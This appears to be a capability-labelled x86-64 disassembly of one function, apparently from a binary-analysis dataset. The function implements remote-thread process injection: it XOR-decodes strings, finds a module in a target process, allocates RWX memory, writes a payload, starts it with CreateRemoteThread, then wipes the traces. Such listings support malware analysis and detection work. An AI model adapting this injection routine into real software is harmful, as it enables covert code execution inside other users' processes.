Function at 0x140003f50
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Enumerate process modules
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x220]
sub rsp, 0x320
mov rax, qword [0x1400eef00]
xor rax, rsp
mov qword [rbp + 0x210], rax
mov edi, dword [0x140103c54]
mov r14b, r8b
mov r15, rdx
mov r8d, edi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x140004234
movzx ecx, word [0x1400aaa50]
lea r9, [rbp + 0x190]
movsd xmm0, qword [str.FGPD]
xor r8d, r8d
mov word [rbp + 0x198], cx
mov cl, byte [0x1400aaa52]
mov byte [rbp + 0x19a], cl
movsd qword [rbp + 0x190], xmm0
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
mov al, r8b
inc r8d
sub al, cl
add al, 0x33
xor byte [r9], al
inc r9
cmp r8d, 0xb
jl 0x140003fdd
xor esi, esi
mov edx, edi
lea ecx, [rsi + 0x18]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14000405e
lea rdx, [rsp + 0x50]
mov dword [rsp + 0x50], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
je 0x14000405e
lea rdx, [rbp + 0x190]
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140004059
lea rdx, [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Module32Next]
jmp 0x140004030
mov rsi, qword [rsp + 0x68]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rsi, rsi
je 0x140004234
movups xmm0, xmmword [str._QAaV_ULxTMO___]
mov al, byte [0x1400b0568]
lea r9, [rbp + 0x1a0]
mov byte [rbp + 0x1b8], al
xor r8d, r8d
movups xmmword [rbp + 0x1a0], xmm0
movsd xmm0, qword [0x1400b0560]
movsd qword [rbp + 0x1b0], xmm0
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
mov al, r8b
inc r8d
sub al, cl
add al, 0x33
xor byte [r9], al
inc r9
cmp r8d, 0x19
jl 0x1400040a4
lea r8, [rbp + 0x1a0]
mov rdx, rsi
mov rcx, rbx
call fcn.140003c70
mov rcx, rax
test rax, rax
je 0x140004234
mov eax, dword [0x1400aa008]
neg r14b
movaps xmm0, xmmword [0x1400a9fc0]
mov esi, 0x4f
movaps xmm1, xmmword [0x1400a9fd0]
mov r9d, 0x3000
mov dword [rbp + 0x208], eax
mov r8d, esi
movzx eax, word [0x1400aa00c]
mov word [rbp + 0x20c], ax
mov al, byte [0x1400aa00e]
movaps xmmword [rbp + 0x1c0], xmm0
movaps xmm0, xmmword [0x1400a9fe0]
movaps xmmword [rbp + 0x1e0], xmm0
movsd xmm0, qword [0x1400aa000]
movaps xmmword [rbp + 0x1d0], xmm1
movaps xmm1, xmmword [0x1400a9ff0]
mov byte [rbp + 0x20e], al
sbb eax, eax
movaps xmmword [rbp + 0x1f0], xmm1
and eax, 0x11
mov qword [rbp + 0x1eb], rcx
xor edx, edx
mov rcx, rbx
mov dword [rbp + 0x1e5], eax
movsd qword [rbp + 0x200], xmm0
mov qword [rbp + 0x1da], r15
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
je 0x140004234
lea rax, [rsp + 0x40]
mov r9d, esi
lea r8, [rbp + 0x1c0]
mov qword [rsp + 0x20], rax
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140004234
and qword [rsp + 0x30], 0
mov r9, rdi
and dword [rsp + 0x28], 0
xor r8d, r8d
and qword [rsp + 0x20], 0
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x140004234
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, esi
lea rcx, [rbp + 0x1c0]
xor edx, edx
call qword [sym.imp.VCRUNTIME140.dll_memset]
lea rcx, [rsp + 0x40]
mov r9d, esi
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0x1c0]
mov rcx, rbx
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140004234
mov al, 1
jmp 0x140004236
xor al, al
mov rcx, qword [rbp + 0x210]
xor rcx, rsp
call fcn.140089d60
mov rbx, qword [rsp + 0x350]
add rsp, 0x320
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret